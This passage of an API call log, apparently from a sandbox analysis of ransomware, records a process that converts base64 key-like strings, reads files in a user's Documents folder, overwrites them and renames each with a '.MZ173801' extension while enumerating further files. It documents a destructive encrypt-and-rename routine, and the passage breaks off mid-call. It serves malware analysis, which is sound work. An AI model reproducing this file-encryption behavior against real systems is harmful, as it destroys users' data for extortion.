lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.813] GetCurrentThreadId () returned 0x9fc [0124.813] GetCurrentThreadId () returned 0x9fc [0124.813] GetCurrentThreadId () returned 0x9fc [0124.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.814] GetCurrentThreadId () returned 0x9fc [0124.814] GetCurrentThreadId () returned 0x9fc [0124.814] GetCurrentThreadId () returned 0x9fc [0124.814] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\HXnZ4EJpd91xeE75V.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\hxnz4ejpd91xee75v.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.814] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0124.814] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.814] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x15ac7 [0124.814] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.814] ReadFile (in: hFile=0x294, lpBuffer=0x714510, nNumberOfBytesToRead=0x15ac7, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x15ac7, lpOverlapped=0x0) returned 1 [0124.816] CloseHandle (hObject=0x294) returned 1 [0124.818] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\HXnZ4EJpd91xeE75V.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\hxnz4ejpd91xee75v.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.819] WriteFile (in: hFile=0x294, lpBuffer=0x72a540*, nNumberOfBytesToWrite=0x15ac7, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x72a540*, lpNumberOfBytesWritten=0x18f6d0*=0x15ac7, lpOverlapped=0x0) returned 1 [0124.822] CloseHandle (hObject=0x294) returned 1 [0124.822] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\HXnZ4EJpd91xeE75V.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\hxnz4ejpd91xee75v.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\HXnZ4EJpd91xeE75V.pdf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\hxnz4ejpd91xee75v.pdf.mz173801")) returned 1 [0124.823] GetCurrentThreadId () returned 0x9fc [0124.823] GetCurrentThreadId () returned 0x9fc [0124.823] GetCurrentThreadId () returned 0x9fc [0124.823] GetCurrentThreadId () returned 0x9fc [0124.823] GetCurrentThreadId () returned 0x9fc [0124.823] GetCurrentThreadId () returned 0x9fc [0124.823] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c17b20, ftCreationTime.dwHighDateTime=0x1d5d9b1, ftLastAccessTime.dwLowDateTime=0x113776c0, ftLastAccessTime.dwHighDateTime=0x1d5e00a, ftLastWriteTime.dwLowDateTime=0x113776c0, ftLastWriteTime.dwHighDateTime=0x1d5e00a, nFileSizeHigh=0x0, nFileSizeLow=0x11f1f, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="iWEb33Cogzj.ods", cAlternateFileName="IWEB33~1.ODS")) returned 1 [0124.823] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0124.823] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.823] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17de5900, ftCreationTime.dwHighDateTime=0x1d5dbbc, ftLastAccessTime.dwLowDateTime=0xead309c0, ftLastAccessTime.dwHighDateTime=0x1d5e4cf, ftLastWriteTime.dwLowDateTime=0xead309c0, ftLastWriteTime.dwHighDateTime=0x1d5e4cf, nFileSizeHigh=0x0, nFileSizeLow=0xd094, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="soKgPrwly.ppt", cAlternateFileName="SOKGPR~1.PPT")) returned 1 [0124.823] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0124.823] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.823] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\soKgPrwly.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\sokgprwly.ppt"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17de5900, ftCreationTime.dwHighDateTime=0x1d5dbbc, ftLastAccessTime.dwLowDateTime=0xead309c0, ftLastAccessTime.dwHighDateTime=0x1d5e4cf, ftLastWriteTime.dwLowDateTime=0xead309c0, ftLastWriteTime.dwHighDateTime=0x1d5e4cf, nFileSizeHigh=0x0, nFileSizeLow=0xd094)) returned 1 [0124.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.826] GetCurrentThreadId () returned 0x9fc [0124.826] GetCurrentThreadId () returned 0x9fc [0124.826] GetCurrentThreadId () returned 0x9fc [0124.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.827] GetCurrentThreadId () returned 0x9fc [0124.827] GetCurrentThreadId () returned 0x9fc [0124.827] GetCurrentThreadId () returned 0x9fc [0124.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\soKgPrwly.ppt" 